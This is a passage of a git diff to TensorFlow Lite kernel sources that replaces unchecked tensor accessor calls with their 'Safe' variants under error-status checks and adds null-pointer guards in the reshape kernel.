   node->temporaries = TfLiteIntArrayCreate(1);
   node->temporaries->data[0] = op_data->cache_tensor_id;
 
-  TfLiteTensor* dequantized = GetTemporary(context, node, /*index=*/0);
+  TfLiteTensor* dequantized;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/0, &dequantized));
   dequantized->type = op_context.ref->type;
   dequantized->allocation_type = kTfLiteDynamic;
 
@@ -142,7 +144,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   }
 
   // Dequantize the input
-  TfLiteTensor* dequantized = GetTemporary(context, node, /*index=*/0);
+  TfLiteTensor* dequantized;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/0, &dequantized));
   auto status = builtin::dequantize::DequantizeImpl<kernel_type>(
       context, node, op_context.input, dequantized);
   if (status != kTfLiteOk) {
diff --git a/tensorflow/lite/kernels/pack.cc b/tensorflow/lite/kernels/pack.cc
index 90a87b0c8c7bb7..16ea01b6dcae4f 100644
--- a/tensorflow/lite/kernels/pack.cc
+++ b/tensorflow/lite/kernels/pack.cc
@@ -38,7 +38,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), data->values_count);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input0 = GetInput(context, node, 0);
+  const TfLiteTensor* input0;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input0));
   const int dimension_size = NumDimensions(input0) + 1;
   if (data->axis < 0) {
     data->axis += dimension_size;
@@ -55,7 +56,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   }
   // Make sure all inputs have the same shape and type.
   for (int i = 1; i < data->values_count; ++i) {
-    const TfLiteTensor* input = GetInput(context, node, i);
+    const TfLiteTensor* input;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &input));
     TF_LITE_ENSURE(context, HaveSameShapes(input0, input));
     TF_LITE_ENSURE_TYPES_EQ(context, input0->type, input->type);
   }
@@ -72,13 +74,16 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
   }
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, output->type, input0->type);
 
   // Guarantee input/output quantization params match as we do not support
   // packing quantized tensors.
   for (int i = 0; i < data->values_count; i++) {
-    const TfLiteTensor* input = GetInput(context, node, i);
+    const TfLiteTensor* input;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &input));
     TF_LITE_ENSURE_EQ(context, input->params.zero_point,
                       output->params.zero_point);
     TF_LITE_ENSURE_EQ(context, input->params.scale, output->params.scale);
@@ -106,7 +111,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const TfLitePackParams* data =
       reinterpret_cast<TfLitePackParams*>(node->builtin_data);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   switch (output->type) {
     case kTfLiteFloat32: {
       return PackImpl<float>(context, node, output, data->values_count,
diff --git a/tensorflow/lite/kernels/pooling.cc b/tensorflow/lite/kernels/pooling.cc
index a1380080a1eb03..1ae3d207b135ef 100644
--- a/tensorflow/lite/kernels/pooling.cc
+++ b/tensorflow/lite/kernels/pooling.cc
@@ -71,8 +71,10 @@ TfLiteStatus GenericPrepare(TfLiteContext* context, TfLiteNode* node) {
 
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* input = GetInput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);
 
@@ -368,8 +370,10 @@ TfLiteStatus AverageEval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLitePoolParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* input = GetInput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
   switch (input->type) {  // Already know in/out types are same.
     case kTfLiteFloat32:
       AverageEvalFloat<kernel_type>(context, node, params, data, input, output);
@@ -399,8 +403,10 @@ TfLiteStatus MaxEval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLitePoolParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* input = GetInput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
   switch (input->type) {  // Already know in/out types are same.
     case kTfLiteFloat32:
       MaxEvalFloat<kernel_type>(context, node, params, data, input, output);
@@ -430,8 +436,10 @@ TfLiteStatus L2Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLitePoolParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* input = GetInput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
   switch (input->type) {  // Already know in/out types are same.
     case kTfLiteFloat32:
       L2EvalFloat<kernel_type>(context, node, params, data, input, output);
diff --git a/tensorflow/lite/kernels/pow.cc b/tensorflow/lite/kernels/pow.cc
index 7f995929ec76db..ef8d77df44ba91 100644
--- a/tensorflow/lite/kernels/pow.cc
+++ b/tensorflow/lite/kernels/pow.cc
@@ -54,9 +54,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
 
@@ -112,9 +118,15 @@ TfLiteStatus CheckValue(TfLiteContext* context, const TfLiteTensor* input) {
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (output->type) {
     case kTfLiteInt32: {
diff --git a/tensorflow/lite/kernels/quantize.cc b/tensorflow/lite/kernels/quantize.cc
index 1779500e6a26ec..8f396355777a96 100644
--- a/tensorflow/lite/kernels/quantize.cc
+++ b/tensorflow/lite/kernels/quantize.cc
@@ -97,8 +97,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
 
   // TODO(b/128934713): Add support for fixed-point per-channel quantization.
   // Currently this only support affine per-layer quantization.
@@ -141,8 +143,10 @@ template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = static_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
 
   const RuntimeShape input_shape = GetTensorShape(input);
   const RuntimeShape output_shape = GetTensorShape(output);
diff --git a/tensorflow/lite/kernels/range.cc b/tensorflow/lite/kernels/range.cc
index 71ee4208ed9c74..6cc3e52e6fa61d 100644
--- a/tensorflow/lite/kernels/range.cc
+++ b/tensorflow/lite/kernels/range.cc
@@ -83,9 +83,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* start = GetInput(context, node, kStartTensor);
-  const TfLiteTensor* limit = GetInput(context, node, kLimitTensor);
-  const TfLiteTensor* delta = GetInput(context, node, kDeltaTensor);
+  const TfLiteTensor* start;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kStartTensor, &start));
+  const TfLiteTensor* limit;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kLimitTensor, &limit));
+  const TfLiteTensor* delta;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDeltaTensor, &delta));
   // Make sure all the inputs are scalars.
   TF_LITE_ENSURE_EQ(context, NumDimensions(start), 0);
   TF_LITE_ENSURE_EQ(context, NumDimensions(limit), 0);
@@ -103,7 +106,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_TYPES_EQ(context, limit->type, dtype);
   TF_LITE_ENSURE_TYPES_EQ(context, delta->type, dtype);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = dtype;
 
   if (IsConstantTensor(start) && IsConstantTensor(limit) &&
@@ -130,11 +135,16 @@ void EvalImpl(const TfLiteTensor* start, const TfLiteTensor* delta,
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* start = GetInput(context, node, kStartTensor);
-  const TfLiteTensor* limit = GetInput(context, node, kLimitTensor);
-  const TfLiteTensor* delta = GetInput(context, node, kDeltaTensor);
-
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* start;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kStartTensor, &start));
+  const TfLiteTensor* limit;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kLimitTensor, &limit));
+  const TfLiteTensor* delta;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDeltaTensor, &delta));
+
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/rank.cc b/tensorflow/lite/kernels/rank.cc
index 2202f6dd953dbb..aa0f9c2fd259ac 100644
--- a/tensorflow/lite/kernels/rank.cc
+++ b/tensorflow/lite/kernels/rank.cc
@@ -31,8 +31,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = kTfLiteInt32;
 
   // By design, the input shape is always known at the time of Prepare, even
diff --git a/tensorflow/lite/kernels/read_variable.cc b/tensorflow/lite/kernels/read_variable.cc
index 78b6a136be4e22..942cd4b7c36870 100644
--- a/tensorflow/lite/kernels/read_variable.cc
+++ b/tensorflow/lite/kernels/read_variable.cc
@@ -34,12 +34,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, node->inputs->size, 1);
   TF_LITE_ENSURE_EQ(context, node->outputs->size, 1);
 
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputVariableId);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputVariableId,
+                                          &input_resource_id_tensor));
   TF_LITE_ENSURE_EQ(context, input_resource_id_tensor->type, kTfLiteInt32);
   TF_LITE_ENSURE_EQ(context, NumElements(input_resource_id_tensor), 1);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputValue);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputValue, &output));
   SetTensorToDynamic(output);
 
   return kTfLiteOk;
@@ -48,15 +51,18 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   Subgraph* subgraph = reinterpret_cast<Subgraph*>(context->impl_);
 
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputVariableId);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputVariableId,
+                                          &input_resource_id_tensor));
   int resource_id = input_resource_id_tensor->data.i32[0];
   auto& resources = subgraph->resources();
   auto* variable = resource::GetResourceVariable(&resources, resource_id);
   TF_LITE_ENSURE(context, variable != nullptr);
 
   TfLiteTensor* variable_tensor = variable->GetTensor();
-  TfLiteTensor* output = GetOutput(context, node, kOutputValue);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputValue, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, variable_tensor->type, output->type);
   TF_LITE_ENSURE_OK(
diff --git a/tensorflow/lite/kernels/reduce.cc b/tensorflow/lite/kernels/reduce.cc
index 10fd7b02b61846..8caf7952ddc2e9 100644
--- a/tensorflow/lite/kernels/reduce.cc
+++ b/tensorflow/lite/kernels/reduce.cc
@@ -170,7 +170,9 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
   TfLiteIntArrayFree(node->temporaries);
   node->temporaries = TfLiteIntArrayCreate(3);
   node->temporaries->data[0] = op_data->scratch_tensor_index;
-  TfLiteTensor* scratch_tensor = GetTemporary(context, node, /*index=*/0);
+  TfLiteTensor* scratch_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, /*index=*/0, &scratch_tensor));
   scratch_tensor->type = kTfLiteInt32;
   scratch_tensor->allocation_type = kTfLiteArenaRw;
   TfLiteIntArray* index_size = TfLiteIntArrayCreate(1);
@@ -180,11 +182,15 @@ TfLiteStatus InitializeTemporaries(TfLiteContext* context, TfLiteNode* node,
 
   // Creates a temp tensor to store resolved axis given input data.
   node->temporaries->data[1] = op_data->scratch_tensor_index + 1;
-  TfLiteTensor* resolved_axis = GetTemporary(context, node, /*index=*/1);
+  TfLiteTensor* resolved_axis;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, /*index=*/1, &resolved_axis));
   resolved_axis->type = kTfLiteInt32;
   // Creates a temp tensor to store temp sums when calculating mean.
   node->temporaries->data[2] = op_data->scratch_tensor_index + 2;
-  TfLiteTensor* temp_sum = GetTemporary(context, node, /*index=*/2);
+  TfLiteTensor* temp_sum;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/2, &temp_sum));
   switch (op_context->input->type) {
     case kTfLiteFloat32:
       temp_sum->type = kTfLiteFloat32;
@@ -217,7 +223,9 @@ TfLiteStatus PrepareSimple(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_TYPES_EQ(context, op_context.axis->type, kTfLiteInt32);
   TF_LITE_ENSURE_OK(context, InitializeTemporaries(context, node, &op_context));
 
-  TfLiteTensor* resolved_axis = GetTemporary(context, node, /*index=*/1);
+  TfLiteTensor* resolved_axis;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, /*index=*/1, &resolved_axis));
   // Leaves work to Eval if axis is not constant; else resizes output.
   if (!IsConstantTensor(op_context.axis)) {
     SetTensorToDynamic(op_context.output);
@@ -233,7 +241,8 @@ TfLiteStatus PrepareSimple(TfLiteContext* context, TfLiteNode* node) {
 
 TfLiteStatus PrepareAny(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
-  const TfLiteTensor* input = GetInput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteBool);
   return PrepareSimple(context, node);
 }
@@ -254,7 +263,9 @@ TfLiteStatus PrepareMeanOrSum(TfLiteContext* context, TfLiteNode* node) {
     QuantizeMultiplier(real_multiplier, &data->multiplier, &exponent);
     data->shift = exponent;
   }
-  TfLiteTensor* temp_sum = GetTemporary(context, node, /*index=*/2);
+  TfLiteTensor* temp_sum;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/2, &temp_sum));
   if (!IsConstantTensor(op_context.axis)) {
     SetTensorToDynamic(temp_sum);
     return kTfLiteOk;
@@ -343,9 +354,15 @@ TfLiteStatus EvalMean(TfLiteContext* context, TfLiteNode* node) {
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
   int num_axis = static_cast<int>(NumElements(op_context.axis));
-  TfLiteTensor* temp_index = GetTemporary(context, node, /*index=*/0);
-  TfLiteTensor* resolved_axis = GetTemporary(context, node, /*index=*/1);
-  TfLiteTensor* temp_sum = GetTemporary(context, node, /*index=*/2);
+  TfLiteTensor* temp_index;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/0, &temp_index));
+  TfLiteTensor* resolved_axis;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, /*index=*/1, &resolved_axis));
+  TfLiteTensor* temp_sum;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/2, &temp_sum));
   // Resize the output tensor if the output tensor is dynamic.
   if (IsDynamicTensor(op_context.output)) {
     TF_LITE_ENSURE_OK(context,
@@ -490,8 +507,12 @@ TfLiteStatus EvalLogic(TfLiteContext* context, TfLiteNode* node,
                        OpContext* op_context, T init_value,
                        T reducer(const T current, const T in)) {
   int64_t num_axis = NumElements(op_context->axis);
-  TfLiteTensor* temp_index = GetTemporary(context, node, /*index=*/0);
-  TfLiteTensor* resolved_axis = GetTemporary(context, node, /*index=*/1);
+  TfLiteTensor* temp_index;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, /*index=*/0, &temp_index));
+  TfLiteTensor* resolved_axis;
+  TF_LITE_ENSURE_OK(
+      context, GetTemporarySafe(context, node, /*index=*/1, &resolved_axis));
   // Resize the output tensor if the output tensor is dynamic.
   if (IsDynamicTensor(op_context->output)) {
     TF_LITE_ENSURE_OK(context,
@@ -621,9 +642,15 @@ TfLiteStatus EvalSum(TfLiteContext* context, TfLiteNode* node) {
   if (need_rescale) {
     // Rescaling 8bit reduce sum.
     int num_axis = static_cast<int>(NumElements(op_context.axis));
-    TfLiteTensor* temp_index = GetTemporary(context, node, /*index=*/0);
-    TfLiteTensor* resolved_axis = GetTemporary(context, node, /*index=*/1);
-    TfLiteTensor* temp_sum = GetTemporary(context, node, /*index=*/2);
+    TfLiteTensor* temp_index;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/0, &temp_index));
+    TfLiteTensor* resolved_axis;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/1, &resolved_axis));
+    TfLiteTensor* temp_sum;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/2, &temp_sum));
     // Resize the output tensor if the output tensor is dynamic.
     if (IsDynamicTensor(op_context.output)) {
       TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/reshape.cc b/tensorflow/lite/kernels/reshape.cc
index ab6f0d8577d03b..2a21fa730bc6f0 100644
--- a/tensorflow/lite/kernels/reshape.cc
+++ b/tensorflow/lite/kernels/reshape.cc
@@ -38,8 +38,11 @@ TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {
   std::unique_ptr<TfLiteIntArray, void (*)(TfLiteIntArray*)>
       scoped_output_shape(output_shape, TfLiteIntArrayFree);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Tensorflow's Reshape allows one of the shape components to have the
   // special -1 value, meaning it will be calculated automatically based on the
@@ -70,6 +73,7 @@ TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {
 inline TfLiteIntArray* GetOutputShapeFromTensor(TfLiteContext* context,
                                                 TfLiteNode* node) {
   const TfLiteTensor* shape = GetInput(context, node, kShapeTensor);
+  if (shape == nullptr) return nullptr;
 
   TfLiteIntArray* output_shape = TfLiteIntArrayCreate(shape->dims->data[0]);
   for (int i = 0; i < output_shape->size; ++i) {
@@ -103,7 +107,8 @@ inline TfLiteIntArray* GetOutputShapeFromParam(TfLiteContext* context,
 // Check if the shape tensor is valid. Shapes should be int32 vectors.
 inline bool ShapeIsVector(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteTensor* shape = GetInput(context, node, kShapeTensor);
-  return (shape->dims->size == 1 && shape->type == kTfLiteInt32);
+  return (shape != nullptr && shape->dims->size == 1 &&
+          shape->type == kTfLiteInt32);
 }
 
 TfLiteIntArray* GetOutputShape(TfLiteContext* context, TfLiteNode* node) {
@@ -122,7 +127,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // calculate their shapes now. String tensors don't benefit from having their
   // shapes precalculated because the actual memory can only be allocated after
   // we know all the content.
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   if (output->type != kTfLiteString) {
     if (NumInputs(node) == 1 ||
         IsConstantTensor(GetInput(context, node, kShapeTensor))) {
@@ -135,8 +142,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // There are two ways in which the 'output' can be made dynamic: it could be
   // a string tensor, or its shape cannot be calculated during Prepare(). In
diff --git a/tensorflow/lite/kernels/resize_bilinear.cc b/tensorflow/lite/kernels/resize_bilinear.cc
index b0488a0b4646dc..5978a78411c412 100644
--- a/tensorflow/lite/kernels/resize_bilinear.cc
+++ b/tensorflow/lite/kernels/resize_bilinear.cc
@@ -61,9 +61,13 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* size;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSizeTensor, &size));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // TODO(ahentz): Our current implementations rely on the inputs being 4D.
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);
@@ -96,9 +100,13 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteResizeBilinearParams*>(node->builtin_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
+  const TfLiteTensor* size;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSizeTensor, &size));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/resize_nearest_neighbor.cc b/tensorflow/lite/kernels/resize_nearest_neighbor.cc
index b8d0b2bc793bab..bef3955950774f 100644
--- a/tensorflow/lite/kernels/resize_nearest_neighbor.cc
+++ b/tensorflow/lite/kernels/resize_nearest_neighbor.cc
@@ -60,9 +60,13 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* size;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSizeTensor, &size));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // TODO(ahentz): Our current implementations rely on the input being 4D,
   // and the size being 1D tensor with exactly 2 elements.
@@ -85,9 +89,13 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteResizeNearestNeighborParams*>(node->builtin_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-  const TfLiteTensor* size = GetInput(context, node, kSizeTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
+  const TfLiteTensor* size;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSizeTensor, &size));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/reverse.cc b/tensorflow/lite/kernels/reverse.cc
index 34cc92da5d8f7f..a7ef54dae12d2a 100644
--- a/tensorflow/lite/kernels/reverse.cc
+++ b/tensorflow/lite/kernels/reverse.cc
@@ -35,8 +35,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* axis = GetInput(context, node, kAxisTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
